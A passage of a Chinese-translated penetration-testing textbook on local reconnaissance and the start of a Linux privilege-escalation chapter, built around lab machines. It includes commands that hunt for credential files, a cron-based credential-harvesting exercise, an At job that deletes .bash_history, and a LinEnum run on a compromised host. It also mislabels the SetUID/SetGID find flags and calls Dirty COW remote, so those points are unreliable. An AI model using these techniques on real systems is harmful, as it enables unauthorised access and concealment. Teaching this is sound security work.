你可以使用特殊选项将设备或分区挂载到特定的文件系统位置,这些选项控制在挂载点上可以或不能做什么。例如,你可以配置一个来自远程存储系统的卷,在系统启动时挂载到 /mnt/external_storage 上。你还可以将其配置为只读文件系统,这样就不允许写入,或者移除执行选项,以使用户无法从中运行二进制文件。
以下是渗透测试人员可能需要了解的一些有用的挂载选项:
dev 解释特殊块设备,例如设备文件。
nodev 与 dev 相反;不会解释特殊块设备。
noexec 禁止执行二进制文件。像 bash 这样的脚本仍然允许执行。
suid 允许使用设置了 setuid 标志的程序,用户可以使用文件的用户或组所有者的权限执行该程序。
nosuid 与 suid 选项相反;不允许使用设置了 setuid 标志的程序。
exec 允许执行二进制文件和其他类型的文件。
ro 禁止写入文件系统;换句话说,创建只读文件系统。
rw 允许对文件系统进行读写操作。
nosymfollow 限制跟踪文件系统上创建的符号链接。此选项仍然允许创建符号链接。
defaults 使用以下挂载选项:rw、suid、dev、exec 等。
如果你返回到前面显示的挂载命令输出,你将看到每个挂载点上已设置的挂载选项(如果已定义)。
日志
应用程序通常会生成某种类型的运行时输出,这些输出有时会写入日志文件。这些日志文件的内容会根据应用程序的不同而有所变化,但通常会指示一切是否正常工作,或者是否发生了错误。
某些日志文件是 Linux 操作系统的一部分,而其他则与第三方应用程序如 Web 服务器和数据库相关。此外,你还可能会找到由你进行渗透测试的公司编写的自定义应用程序日志。
在 Linux 系统上,系统和应用程序日志通常会写入到 /var/log 目录。自定义应用程序可以将日志写入任何位置,但通常也会将其写入到 /var 目录下的文件中。以下是一个示例查找命令,可以用于搜索日志文件:
$ **find / -name "*.log" -o -name "*.txt" -o -name "*.out" -type f 2> /dev/null**
这个命令用于查找扩展名为 .log 和 .out 的文件。
系统日志
以下是 Linux 系统上常见的系统日志列表:
/var/log/auth.log /var/log/faillog
/var/log/secure /var/log/lastlog
/var/log/audit/audit.log /var/log/dpkg
/var/log/dmesg /var/log/boot.log
/var/log/messages /var/log/cron
/var/log/syslog
特别感兴趣的是诸如/var/log/auth.log、/var/log/secure和/var/log/lastlog等文件,它们与认证有关,可能包含有关连接到服务器的客户端的重要信息。/var/log/audit/audit.log 文件由审计系统如 Auditd 使用,用于记录命令行活动、认证尝试和一般系统调用等事件。
应用程序日志
应用程序日志还可能包含对渗透测试人员有趣的信息。例如,如果服务器运行网站,则 Web 引擎可能会生成关于连接到其的客户端以及请求的 Web 路径的日志。这可能会显示出网络上其他客户端和服务器。
像 Apache 和 nginx 这样的 Web 服务器通常将其日志写入/var/log/apache2/、/var/log/httpd/或/var/log/nginx/等目录。其他类型的应用程序,如代理、电子邮件服务器、打印服务器、文件传输服务器、关系数据库、消息队列和缓存数据库,也会生成您需要注意的日志。表 8-3 列出了您可能遇到的常见应用程序日志的位置。
表 8-3: 日志位置
| 日志类型 | 日志文件 |
|---|
| Web 服务器 | /var/log/apache2/access.log /var/log/httpd/access.log
/var/log/nginx/access.log
/var/log/lighttpd/access.log |
| 数据库 | /var/log/mysql/mysql.log /var/log/postgresql
/var/log/redis
/var/log/mongodb/mongod.log
/var/log/elasticsearch/elasticsearch.log |
| 打印服务器 | /var/log/cups |
|---|---|
| 文件传输服务器 | /var/log/vsftpd /var/log/proftpd |
| 监控系统 | /var/log/icinga2 /var/log/zabbix
/var/log/logstash
/var/log/nagios/nagios.log
/var/log/cacti |
注意,由于其敏感性,一些日志将需要提升的权限。
练习 13: 递归搜索可读取的日志文件
在此练习中,您将编写一个查找日志文件的脚本。它应执行以下操作:
1. 接受路径作为命令行输入。如果未指定参数,默认应使用/var/log。
2. 递归遍历路径以查找可读文件。
3. 将这些文件复制到您选择的中心化目录中。
4. 使用 tar 命令压缩文件夹。
为了帮助您编写脚本,我们建议您查看 find 命令,它具有许多强大的内置功能,可以按用户和组所有权进行搜索。
您可以在该书的 GitHub 仓库中找到一个完整的解决方案,recursive_file_search.sh。
内核和引导加载程序
操作系统如 Linux 的主要组件称为内核。内核负责核心功能,如进程和内存管理、驱动程序、安全性等。它是一个非常复杂的软件组件,因此容易受到漏洞的影响。一个内核漏洞的例子是Dirty COW 漏洞(CVE-2016-5195),它允许远程执行并获得 root 访问权限而不留下系统痕迹。
发现系统上运行的内核版本可能帮助你通过内核漏洞提升权限。要检查内核版本,请使用以下命令:
$ **uname -r**
由于实验室机器基于 Docker,它们共享主机(Kali)的内核,运行 uname 命令将会显示 Kali 的内核版本。
一个 Linux 系统可能会安装多个内核版本,以便在系统故障时进行回滚。内核文件位于 /boot 目录下。你还可以通过运行以下命令来查看安装了哪些内核:
$ **rpm -qa | grep kernel**
$ **ls -l /boot | grep "vmlinuz-"**
确保使用正确的包管理器命令来适应主机系统。
不稳定的内核漏洞利用程序非常危险,如果没有经过充分测试,它们可能会导致服务器崩溃。我们建议在尝试运行这些类型的漏洞时,先获得明确的授权。
配置文件
在本章中,我们已经提到了几种类型的配置文件。虽然这些文件高度依赖于具体的应用程序,但它们通常包含敏感数据。在本地侦察过程中,你需要特别关注它们,尤其是那些与 Web 应用程序相关的文件,因为 Web 应用程序通常依赖许多服务来完成日常操作。Web 应用程序需要连接这些服务,通常需要某种形式的身份验证,因此你可能会在附近找到凭据。
配置文件通常位于 /etc 目录下,可能有也可能没有关联的文件扩展名,如 .conf、.cfg、.ini、.cnf 和 .cf。你也可能会在用户的隐藏目录下找到配置文件,例如 /home/user/.config/ 或 /home/user/.local。要执行广泛的配置文件搜索,可以使用以下命令:
$ **find / -name "*.conf" -o -name "*.cf" -o -name "*.ini" -o -name "*.cfg" -type f 2> /dev/null**
要搜索特定文件夹,可以将命令中的 find / 部分更改为另一个目录,例如 find /etc。你甚至可以将多个目录连接在一起,如下所示:
$ **find /etc /usr /var/www-name "*.conf" -o -name "*.cf" -o -name "*.ini" -o –****name "*.cfg"**
**-type f 2> /dev/null**
第三方软件通常也会包含自定义的配置,这可能很有趣。例如,WordPress 通常使用数据库来存储与博客相关的数据,其配置文件 wp-config.php 通常包含与数据库(如 MySQL)相关的凭据信息:
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'database_name_here');
/** MySQL database username */
define('DB_USER', 'username_here');
/** MySQL database password */
define('DB_PASSWORD', 'password_here');
这个文件的位置取决于 WordPress 的安装位置,因为它通常位于应用程序的根目录下,例如 /var/www/html/wp-config.php。正如你所看到的,它有一个 .php 扩展名,因为 WordPress 是用 PHP 语言编写的。我们之前使用的搜索方法不会捕捉到这个文件,但我们可以调整命令,搜索包含 config 的文件:
$ **find / -name "*config*" 2> /dev/null**
我们已经知道 p-web-02 服务器(172.16.10.12)运行着 WordPress;你能找到它的配置文件吗?提示:它与应用程序一起位于 Web 根目录下。
了解常见的配置文件及其位置对于识别主机上正在运行的感兴趣服务很有帮助。表 8-4 列出了几个示例。
表 8-4:常见配置文件位置
| 服务器类型 | 文件位置 |
|---|
| Web 服务器 | /etc/httpd/httpd.conf /etc/httpd/conf/httpd.conf
/etc/apache2/apach2.conf
/etc/lighttpd/lighttpd.conf
/etc/nginx/nginx.conf |
| 文件共享和文件传输服务器 | /etc/vsftpd/vsftpd.conf /etc/protftpd.conf /usr/local
/etc/proftpd.conf
/etc/samba/smb.conf |
| 数据库 | /etc/mysql/my.cnf /etc/my.cnf
/etc/redis/redis.conf
/etc/mongo.conf
/etc/cassandra |
| 域名服务器 | /etc/bind/named.conf /etc/dnsmasq.conf |
|---|
| 邮件服务器 | /etc/postfix/main.cf /etc/mail/sendmail.cf
/etc/dovecot/dovecot.conf |
| 虚拟专用网络服务器 | /etc/openvpn /etc/ipsec.conf |
|---|
这个表格并不全面,但它应该能让你了解常见的网络服务器通常将其配置文件存储在哪里。
定时任务
定时任务 允许你为系统指定一个命令或脚本,系统将在指定的时间间隔自动运行。它们在渗透测试中非常有趣,因为它们经常以可以引发权限提升的方式编写。
例如,一个任务可能会读取并执行来自全局可写文件的指令,如果恶意用户能够将恶意指令写入这些文件,系统可能会以提升的权限执行它们。用户可能会采取恶意行为,例如创建特权用户、修改类似 /root 这样的受保护文件夹的权限、为现有用户添加权限、启动自定义恶意进程,或删除或覆盖文件中的敏感信息。
在 Linux 中,我们有两种常见的任务调度机制:Cron 和 At。
Cron
让我们编写一个小脚本,它创建一个文件并将当前的日期和时间附加到该文件中(清单 8-11)。
#!/bin/bash
job_name="my_scheduled_job"
echo "The time now is $(date)" >> "/tmp/${job_name}"
exit 0
清单 8-11:一个简单的 Cron 任务
保存该文件并命名为 cron_task.sh。确保它是可执行的,使用 chmod u+x cron_task.sh 命令。
接下来,我们将使用 Cron 每分钟运行该脚本。运行以下命令以打开文本编辑器:
$ **crontab -e**
现在将以下内容附加到 /etc/crontab 文件的末尾并保存。确保你更改路径为你保存脚本的位置:
* * * * * bash /path/to/cron_task.sh
你可能会问,为什么有五个星号(*)呢?Cron 有一种特殊的语法来描述它的执行计划。其格式如下:
Minutes (0-59), Hours (0-23), Days of the month (1-31), Month (1-12), Days of the week (0-6)
例如,以下语法描述了一个回显任务,它将在每天晚上 11:30 执行:
30 23 * * * echo "It is 23:30!" >> /tmp/cron.log
Cron 进程应该执行该脚本。为了确认它是否生效,可以在 /tmp 文件夹中运行 ls。你应该会看到 /tmp/my_scheduled_job 文件,其中包含关于时间的更新:
$ **cat /tmp/my_scheduled_job**
The time now is Mon May 22 03:11:01
The time now is Mon May 22 03:12:01
The time now is Mon May 22 03:13:01
在渗透测试的背景下,Cron 任务可能不安全。例如,一个任务可能会将敏感文件复制到全局可读的路径,这样不信任的本地用户就可以访问这些文件。以下是一个备份任务的示例,如果它以 root 用户身份运行,则非常不安全:
30 23 1 * * tar czvf /home/backup.tar.gz /etc /var
像这样的 Cron 作业将会把敏感目录 /etc 和 /var 复制到 /home 目录中。由于 /home 目录对所有本地用户可访问,任何具有读取权限的用户都可以复制或查看这些文件。
表 8-5 列出了 Cron 在运行时使用的其他文件。
表 8-5: Cron 文件
| 目的 | 文件 |
|---|---|
| Cron 日志 | /var/spool/cron /var/spool/cron/crontab |
| 作业配置 | /etc/crontab /etc/cron.d |
/etc/cron.hourly
/etc/cron.daily
/etc/cron.weekly
/etc/cron.monthly |
| Cron 安全 | /etc/cron.deny /etc/cron.allow |
|---|
用户的 cron 作业通常存储在 /var/spool/cron/crontab/USER 中,系统范围的 cron 作业定义在 /etc/crontab 中。像 /etc/cron.hourly、/etc/cron.daily、/etc/cron.weekly 和 /etc/cron.monthly 这样的目录包含由 Cron 进程执行的 shell 脚本,而 /etc/crontab 文件定义了这些目录中的脚本执行的时间间隔。
系统管理员可以限制用户创建 cron 作业。两个访问控制文件定义了谁可以运行 crontab 命令:/etc/cron.allow 和 /etc/cron.deny。如果 /etc/cron.allow 文件存在,列在该文件中的用户将能够使用 Cron 调度任务。如果该文件不存在,除非在 /etc/cron.deny 中列出,否则所有用户都可以调度任务。如果两个文件都不存在,只有特权用户可以调度任务。如果一个用户同时出现在允许和拒绝文件中,该用户仍然可以调度任务。
At
At 是 Linux 中的另一种作业调度工具,尽管它比 Cron 少见,且采用更简单的方式。它通过在 at 提示符中指定 shell 命令,或通过使用 | 将命令作为标准输入传递给 at 来工作。以下示例使用 at 提示符安排一个任务:
$ **at now + 1 minute**
warning: commands will be executed using /bin/sh
at Sat May 27 22:15:00
at> **rm -rf /home/user/.bash_history**
我们首先指定调度,使用 now + 1 minute 告诉 At 在 1 分钟后运行命令。At 还支持其他格式的调度语法。以下是一些调度定义的示例:
$ **at 22:00**
$ **at 11pm + 3 days**
$ **at tomorrow**
$ **at Sunday**
$ **at May 27 2050**
第一个示例安排命令在军用时间晚上 10 点运行。第二个示例安排在三天后的晚上 11 点运行。第三个示例安排在明天的当前时间运行,第四个示例安排在周日的当前时间运行。最后一个示例安排在 2050 年 5 月 27 日运行。
指定时间后,At 会将您的 shell 提示符切换到专用的命令行(at>),您可以逐行输入 shell 命令。要保存作业,使用 CTRL-D。
at 命令还提供了一种查看作业队列的方式(使用 atq)以及移除作业的方式(使用 atrm)。要列出所有排队的 At 作业,运行以下命令:
$ **atq**
1 Sun May 28 22:20:00 a root
2 Sun May 29 23:20:00 a root
每个作业都有一个 ID(此例中为 1 和 2),它们的执行时间和调度该作业的用户。在提交作业后,您通常可以在 /var/spool/cron/atjobs 下找到作业定义:
$ **ls -l /var/spool/cron/atjobs/**
total 8
-rwx------ 1 root daemon 2405 May 28 02:32 a0000101ac9454
-rwx------ 1 root daemon 2405 May 28 02:32 a0000201ac9454
默认情况下,普通用户无法读取此目录。其他可能的 At 作业目录包括 /var/spool/cron/atspool、/var/spool/at 和 /var/spool/at/spool。
你可以使用 atrm 命令后跟作业 ID 来删除排队的作业:
$ **atrm 1**
和 Cron 一样,At 使用 deny(/etc/at.deny)和 allow(/etc/at.allow)文件来确定哪些用户可以调度作业。
练习 14:编写 Cron 作业脚本以查找凭据
这项练习的目标是编写一个监控 cron 作业脚本。这个脚本应该定期搜索系统中的文件,查找包含凭据的文件。创建一个 cron 作业来执行以下操作:
-
每 10 分钟运行一次,每周每天,全年无休。
-
在 /tmp 目录下查找包含 username 或 password 字样的文件。
-
当找到这样的文件时,运行 grep 命令查找包含字符串的行,并将这些字符串写入你选择的可写位置。
要测试你的脚本,你可以创建一个包含字符串 username=administrator 或 password=12345 的假文件,并将其保存到 /tmp 目录。如果你的 cron 作业按预期工作,你应该能够在目标目录中看到这两个字符串。
硬件
你可以收集与硬件相关的信息,例如内存分配详情、CPU 和核心数量,以及硬件组件的制造商,例如主板、网卡和其他外设。要收集这些信息,你可以使用如 lshw、dmidecode 和 hwinfo 等命令。
这些命令在使用非特权用户运行时可能只显示部分信息,因为它们通常从仅 root 用户可访问的系统文件中读取。它们也可能不是默认安装的,因此你可能需要手动通过查看 /proc、/dev 和 /sys 下的特定文件和目录来收集硬件信息。
让我们来看一下在其中一台实验室机器上运行 lshw 命令时得到的输出,例如 p-web-01(172.16.10.10):
$ **lshw**
请记住,我们的实验室是虚拟的,因此输出可能无法准确报告底层物理硬件的信息,如内存大小、主板厂商和声卡。
lshw 命令带有一个 -class (-C) 参数,允许你查看特定类别的硬件,例如磁盘(-C disk)、处理器(-C cpu)和网络(-C network):
$ **lshw -C disk**
*-disk
description: ATA Disk
product: VBOX HARDDISK
vendor: VirtualBox
size: 80GiB (86GB)
`--snip--`
在这个磁盘示例中,你可以看到厂商名称是 VirtualBox,这暗示我们在虚拟机中运行了这个命令。
硬件实用工具从各种文件中收集信息。表 8-6 汇总了这些工具从中聚合硬件信息的一些文件和目录。
表 8-6:文件系统中的硬件信息位置
| 虚拟文件系统 | 文件和目录 | |
|---|---|---|
| --- | --- |
| /proc | /proc/bus/usb/devices /proc/dma
/proc/interrupts
/proc/partitions
/proc/modules
/proc/cpuinfo
/proc/devices-tree
/proc/devices
/proc/efi/systab
/proc/ide
/proc/kcore
/proc/mounts
/proc/net/dev
/proc/scsi
/proc/sys
/proc/sys/abi
/proc/sys/dev/sensors |
| /sys | /sys/bus /sys/class
/sys/devices
/sys/firmware
/sys/firmware/dmi/tables/DMI |
| /dev | /dev/cdrom /dev/input
/dev/fb*
/dev/machines
/dev/snd
/dev/mem
/dev/scsi* |
虚拟化
管理员可以直接在物理服务器上安装操作系统,或者运行一个虚拟化程序(如 VirtualBox、Microsoft Hyper-V 或 VMware ESXi)在同一硬件上托管多个虚拟机。或者,他们可能使用容器技术将虚拟服务器作为容器运行。
确定一个环境是虚拟的还是物理的,通常在防御规避的背景下很重要。例如,恶意软件常常会检查虚拟环境,以便规避逆向工程的尝试,因为分析人员通常会在这种虚拟环境中分析恶意软件。
和之前的场景一样,我们可以使用专用工具以及“利用现有资源”方法来获取这些信息。我们将探索这两种方法。
使用专用工具
像 virt-who 和 virt-what 这样的工具可以检查系统,以确定它是物理系统还是虚拟系统。以下是 virt-what 在 VirtualBox 上的 Kali 系统中的输出结果:
$ **sudo apt install -y virt-what**
$ **sudo virt-what**
virtualbox
kvm
另一个有用的工具 systemd-detect-virt 提供了一份详尽的虚拟环境枚举技术列表,用于 systemd 系统。它能够识别多个虚拟机监控程序和容器运行环境,您可以在这里找到相关列表:www.freedesktop.org/software/systemd/man/systemd-detect-virt.html。
尝试在实验室的任意一台机器上运行 systemd-detect-virt 查看输出结果:
$ **systemd-detect-virt**
docker
使用 dmesg 命令,您还可以从内核环形缓冲日志中读取虚拟化信息:
$ **dmesg | grep "Detected virtualization"**
[1075720.226245] systemd[1]: Detected virtualization oracle.
在这个例子中,oracle 是虚拟化软件,因为我们正在运行由 Oracle 开发和维护的 VirtualBox。
利用现有资源
让我们强调几种可以确定系统是否在虚拟环境中运行的方式。
桌面管理接口(DMI)是一个用于系统硬件和软件管理跟踪的框架。在/sys/class/dmi/id目录下,一些与 DMI 相关的文件可能会泄露有关各种虚拟化供应商的信息。这些文件包括product_name、sys_vendor、board_vendor、bios_vendor和product_version。查看它们的内容:
$ **cat /sys/class/dmi/id/product_name**
VirtualBox
$ **cat /sys/class/dmi/id/board_vendor**
Oracle Corporation
文件/sys/hypervisor/type也可能暗示底层的虚拟化程序。例如,Xen 虚拟化程序可能会在该文件中插入值 xen,而 Microsoft Hyper-V 则会使用 Hyper-V。
另一个只有root用户可以访问的文件,/proc/1/environ,可能包含一个名为 container= 的环境变量,其中包含相关信息。例如,Linux 容器可能会使用 container=lxc,而 Podman 容器可能会使用 container=podman。
一些容器技术,包括 Podman 和 Docker,使用放置在特定位置的env文件。任何一个文件的存在都表明这是一个容器环境:
/run/.containerenv
/.dockerenv
在 systemd 系统上,可能存在 /run/systemd/container 文件:
$ **cat /run/systemd/container**
Docker
尝试在你能访问的任何实验机上运行此命令。
使用 LinEnum 自动化信息收集
到现在,你应该已经意识到,操作系统上任何地方都可能存在有价值的信息。为了高效地覆盖某些基础领域,包括用户和组、cron 任务、进程等,我们可以运行信息收集脚本,这些脚本依赖于文件位置的可预测性和常见的搜索模式。
LinEnum 是一个本地信息收集的 shell 脚本,用于自动从主机收集数据。它覆盖了系统信息、用户信息、服务和进程、版本和权限等收集领域。
让我们使用 LinEnum 以自动化方式在本地收集文件。首先,我们需要将 LinEnum 放到被攻破的机器上。由于它是一个单一的 shell 脚本文件,我们可以简单地将其复制并粘贴到机器上的新文件中。复制 /home/kali/tools/LinEnum.sh 的内容,并将该文件保存为 LinEnum.sh,然后放到被攻破的机器上。
现在运行 LinEnum 时,使用 -t(彻底收集)和 -r(报告)选项来指定一个文件,将输出发送到该文件:
$ **chmod u+x LinEnum.sh**
$ **./LinEnum.sh -t -r report.txt**
#########################################################
# Local Linux Enumeration & Privilege Escalation Script #
#########################################################
`--snip--`
[-] Debug Info
[+] Report name = report.txt
[+] Thorough tests = Disabled
`--snip--`
阅读收集到的结果,以查看收集了哪些信息。在接下来的练习中,你将阅读 LinEnum 的代码,构建新功能,并根据自己的需求进行定制。
练习 15:为 LinEnum 添加自定义功能
在渗透测试过程中,你可能会发现自己需要重新使用概念验证漏洞代码和脚本来适应特定的用例。这是一个非常重要的技能,因为如果你能避免从头编写脚本,就能节省大量时间。
在本练习中,你的目标是修改 LinEnum 的源代码,为其添加新功能:
1. 仔细阅读 LinEnum 脚本的源代码。虽然它大约包含 1300 行代码,但应该相对容易理解,因为它遵循一致的模式,例如执行命令并将输出保存到变量中。
2. 修改源代码,收集你感兴趣的文件内容,或者是 LinEnum 尚未收集的文件内容。或者,实现你自己的新功能的想法。
3. 为 LinEnum 添加另一个命令行选项,使用 tar 命令将报告压缩为 tar.gz 文件(-c 选项)。
阅读外部代码与编写代码同样重要。每个人都有自己编写代码的风格和实现逻辑的方式,你可以从中学到很多关于工具内部结构以及如何根据自己的需求定制它们的知识。
总结
在本章中,我们强调了你可以在被攻破的主机上进行的数据收集的主要类别,例如操作系统和内核、相邻网络和连接、正在运行的进程和用户活动会话、环境数据、用户和组身份、系统和第三方日志文件以及配置文件。此外,我们使用 Cron 和 At 来调度执行 shell 脚本。
随着你阅读本书的过程,你将继续收集数据,以帮助特权升级、凭证访问和其他不端黑客活动。
第九章:9 权限提升

在本章中,你将了解各种意外的系统配置错误和缺乏强化措施如何帮助你在被攻陷的主机上提升权限。我们将探讨 Linux 操作系统如何授予权限,检查系统的 sudo 和 PATH 配置,自动化搜索敏感文件,操控易受攻击的 cron 作业,攻击系统账户,发现内核漏洞等内容。
什么是权限提升?
权限提升 发生在低权限用户通过滥用配置错误、接管其他账户或利用其他漏洞,能够执行超出当前用户身份权限范围的特权操作时。这是攻击链中的一个重要阶段,因为低权限账户限制了你在系统上可以执行的操作。以下是攻击者可能采取的操作示例,但这些操作通常是非 root 用户所禁止的:
-
阅读可能包含敏感信息的系统文件
-
在特权系统位置创建文件和文件夹
-
创建额外的系统用户或修改现有用户
-
修改或删除敏感文件,如日志文件
-
安装系统范围的软件包
-
修改服务的配置
-
启用、禁用或重启服务
当然,如果系统存在配置错误,我们可能能够从低权限账户执行这些操作。例如,如果目录的权限设置错误,我们可能能够写入该目录;或者如果敏感文件被复制到所有系统用户都能访问的路径,并且继承了新位置的权限,我们可能能够读取该文件。
有许多条件可以导致权限提升:配置错误、缺乏系统强化、糟糕的软件设计、对环境的假设等等。以下是可能导致权限提升的技术和理论示例:
-
使用易受攻击的软件包或内核版本
-
在危险的实用程序或进程上授予过于宽松的权限
-
使用特权上下文运行应用程序,例如 root 用户
-
假设所有用户都可以被信任
-
将重复使用的凭据存储在所有用户都可以访问的文件中
Linux 文件和目录权限
每个文件和目录都有由读取(r)、写入(w)和执行(x)权限组成的配置。此外,每个文件和目录都有一个用户和一个组作为所有者。如你在前一章所学,Linux 在 /etc/passwd 中定义用户,在 /etc/group 中定义组。管理员为特定用户、特定组和其他任何人(也叫做 others)授予权限。
文件和目录的权限和所有权可能会因配置错误而不小心被更改或变得松散,这意味着这些资源有可能暴露给未经授权的用户。因此,在进行渗透测试时,发现这些配置错误非常重要。
查看权限
让我们以/etc/passwd文件的权限和所有权分配为例。我们将从左到右查看输出的加粗部分:
$ **ls -l /etc/passwd**
**-rw-r--r--**1 **root root** 1341 Jun 28 01:11 /etc/passwd
第一个字符表示资源的类型。连字符(-)表示文件,而字母 d 则表示目录。
接下来,rw-表示文件所有者的权限。在这种情况下,权限设置为读取(r)和写入(w)。最后一个连字符是执行(x)权限的占位符,此处未设置该权限。
下一组权限(r--)属于组,仅表示读取权限。其他用户也仅具有读取权限。两次出现的 root 表示文件所有者和组的身份:root用户和 root 组。图 9-1 以简明的方式展示了这一权限分解。

图 9-1:基本文件权限
实际上,这些权限意味着所有本地帐户都可以读取文件,但只有root用户可以修改它。
设置权限
我们使用 chmod 命令设置 Linux 文件和目录权限,使用 chown 命令设置文件和目录的所有权。为了演示这些命令的使用,您可以在 Kali 机器上创建一个名为my_new_file.txt的空文件:
$ **cd ~**
$ **touch my_new_file.txt**
接下来,将该文件的用户和组设置为kali:
$ **chown kali:kali my_new_file.txt**
现在为用户设置读取、写入和执行权限(u+rwx),为组设置读取权限(g+r),为其他人设置读取权限(o+r):
$ **chmod u+rwx,g+r,o+r my_new_file.txt**
$ **ls -l my_new_file.txt**
-rwxr--r-- 1 kali kali 0 Jun 27 22:28 my_new_file.txt
我们还可以通过使用八进制表示法来表示文件和目录的权限(但不包括所有权),该表示法使用数字 0 到 7。我们为用户、组和其他人分别设置一个数字,生成类似 777、700 或 440 的值。权限对应以下八进制值:
-
读取(r)权限是 4。
-
写入(w)权限是 2。
-
执行(x)权限是 1。
-
无权限的值为 0。
如果我们想授予所有人(即用户所有者、组和其他人)读取、写入和执行权限,我们需要将三个权限数字相加。读取(4)、写入(2)和执行(1)相加等于 7。这意味着,如果设置权限为 777,所有人都会获得读取、写入和执行权限。
如果我们只想授予用户读取权限,但拒绝组和其他人的访问权限,应该怎么做呢?以下是实现这一点的示例:
$ **chmod 400 my_new_file.txt**
$ **ls -l my_new_file.txt**
-r-------- 1 kali kali 0 Jun 27 22:30 my_new_file.txt
我们使用八进制值 400,因为 4 授予用户读取权限,两个 0 值为组和其他人设置了零权限。
创建文件访问控制列表
我们已经介绍了文件和目录权限以及所有权的基础知识,但还有一些其他安全机制也可以授予或阻止用户访问。
文件访问控制列表(ACLs)允许你在文件和目录上设置更细粒度的额外权限。例如,假设我们有一个名为sysadmins的组,其中包含几个成员,如 Alice、Bob 和 Eve,我们需要授予 Alice 和 Bob 访问权限,但不授予 Eve。将 sysadmins 组设置在文件或目录上将使所有成员都可以访问。ACL 允许我们在现有权限方案的基础上授予或拒绝特定用户的访问权限。
下一个示例假设你有一个名为sysadmins的组和名为 Alice、Bob 和 Eve 的系统用户。你可以使用以下命令来创建这些资源:
$ **sudo groupadd sysadmins**
$ **sudo useradd eve -G sysadmins**
$ **sudo useradd alice -G sysadmins**
$ **sudo useradd bob -G sysadmins**
接下来,让我们创建一个新的空文件并观察其默认 ACL。我们使用 getfacl 命令来实现这一点:
$ **touch facl_example.txt**
$ **getfacl facl_example.txt**
# file: facl_example.txt
# owner: kali
# group: kali
user::rw-
group::r--
other::r--
现在我们将授予sysadmins组读取权限,以确保 Alice 和 Bob,作为组成员,可以访问它:
$ **touch facl_example.txt**
$ **setfacl -m g:sysadmins:r-- facl_example.txt**
我们传递 modify(-m)标志给 setfacl,以便它修改权限,接着是组名、所需权限(g:sysadmins:r--)以及目标文件或目录。
此时,所有组成员都可以读取该文件。我们现在如何排除特定用户呢?运行以下命令以删除 Eve 的所有权限:
$ **setfacl -m u:eve:--- facl_example.txt**
再次列出 ACL 权限,应该会显示 Eve 无法访问该文件:
$ **getfacl facl_example.txt**
# file: facl_example.txt
# owner: kali
# group: kali
user::rwx
user:eve:---
group::r--
group:sysadmins:r--
mask::r--
other::r--
当文件或目录设置了 ACL 时,Linux 在查看文件权限时会显示一个加号(+):
-rw-r--r--**+** 1 kali kali 0 Jun 27 22:52 facl_example.txt
需要注意的是,这种安全控制是可用的。
查看 SetUID 和 SetGID
Set 用户 ID(SetUID)是一种特殊权限,可以在可执行文件上设置。它允许可执行文件以拥有该可执行文件的用户权限运行。例如,假设一个脚本允许系统上的用户删除/var/log路径中的日志文件。为了在不授予 root 权限的情况下允许用户这样做,系统管理员可以在可执行文件上设置 SetUID 位。同样,Set 组 ID(SetGID)权限允许用户以拥有组的权限运行可执行文件。
当可执行文件设置了 SetUID 或 SetGID 时,你会看到文件权限中会出现 s 而不是 x。一个同时使用 SetUID 和 SetGID 的文件是 At 调度器二进制文件/usr/bin/at,我们在第八章中使用 at 命令进行任务调度时使用了它。运行以下命令以查看 SetUID 和 SetGID:
$ **ls -l /usr/bin/at**
-rw**s**r-**s**r-x 1 daemon daemon 59768 Oct 15 /usr/bin/at
在这里,你可以看到 SetUID 已经设置,这可以从权限中的第一个 s 看到,接着是 SetGID,可以从第二个 s 看到。因此,当用户运行 at 命令时,他们以daemon用户和组的权限运行。
另一个使用 SetUID 设置其可执行文件的命令示例是 passwd,它用于更改账户密码。设置了 SetUID 和 SetGID 的可执行文件可能存在安全风险,是特权提升的主要目标。我们将在“利用 SetUID 配置错误”中展示一个攻击示例,见第 208 页。
设置粘滞位
当在目录上设置粘滞位时,即使文件的权限允许删除,其他用户或用户组也无法删除该目录下的文件,除非他们拥有该文件。设置了粘滞位的目录的一个典型例子是/tmp。运行以下命令查看它:
$ **ls -ld /tmp**
drwxrwxrw**t** 11 root root 4096 Jun 28 21:58 /tmp
t 表示该目录上设置了粘滞位。要在目录上设置粘滞位,请运行以下命令:
$ **mkdir /tmp/test**
$ **chmod +t /tmp/test**
$ **ls -ld /tmp/test**
drwxr-xr-t 2 kali kali 4096 Jun 28 22:06 /tmp/test
你还可以通过八进制表示法设置 SetUID、SetGID 或粘滞位,在权限前添加一个额外的数字:粘滞位为 1,SetGID 为 2,SetUID 为 4。为了演示这一点,让我们从系统中复制一个二进制文件并更改其权限。将ping二进制文件复制到/tmp目录,并命名为ping.backup:
$ **cp /usr/bin/ping /tmp/ping.backup**
$ **ls -l /tmp/ping.backup**
-rwxr-xr-x 1 kali kali 90568 Jun 28 22:21 /tmp/ping.backup
接下来,将文件的八进制权限标注设置为 4700:
$ **chmod 4700 /tmp/ping.backup**
$ **ls -l /tmp/ping.backup**
-rws------ 1 kali kali 90568 Jun 28 22:21 /tmp/ping.backup
这设置了 SetUID(4),接着为用户所有者设置读、写和执行权限(700)。
基于权限查找文件
第八章介绍了 FHS,它旨在标准化 Linux 系统中某些文件和目录的位置。但是,文件无论是配置文件还是应用程序的源代码,都可以存放在几乎任何地方,因此理解哪些文件在当前权限上下文中是可以访问的非常重要。
幸运的是,查找可读、可写和可执行的文件和目录相当简单。像 find 这样的工具甚至可以根据权限定位文件。让我们来探索如何做到这一点。
要查找系统上每个人都可以读取的文件和目录(即其他),从根目录开始递归搜索,请使用以下命令:
$ **find / -perm -o=r**
要只查找文件,请传递-type f 标志;只查找目录,请传递-type d 标志:
$ **find / -type f -perm -o=r**
$ **find / -type d -perm -o=r**
在搜索时,要抑制任何访问拒绝错误,可以将标准错误流传递到/dev/null:
$ **find / -perm -o=r 2> /dev/null**
要查找任何人都可以写入的文件和目录,请使用以下命令:
$ **find / -perm -o=w**
查找可执行文件和目录的方式遵循相同的模式。要搜索每个人都可以执行的文件和目录,请使用以下命令:
$ **find / -perm -o=x**
可执行目录这个术语可能会让人困惑,但本质上,在文件夹上设置可执行权限(x)允许用户进入该目录(例如,通过 cd 命令)。
你可以将这些命令组合成一个,例如如下所示:
$ **find / -type f -perm -o=rwx**
该命令查找所有全局可读、可写和可执行的文件。
find 命令还允许我们通过使用 -perm 标志来搜索特定的权限。我们可以利用这一点来搜索设置了 SetUID 或 SetGID 的文件。以下命令搜索 SetGID 文件:
$ **find / -perm -4000 2> /dev/null**
类似地,这个命令搜索 SetUID 文件:
$ **find / -perm -2000 2> /dev/null**
我们还可以找到设置了粘滞位标志的目录:
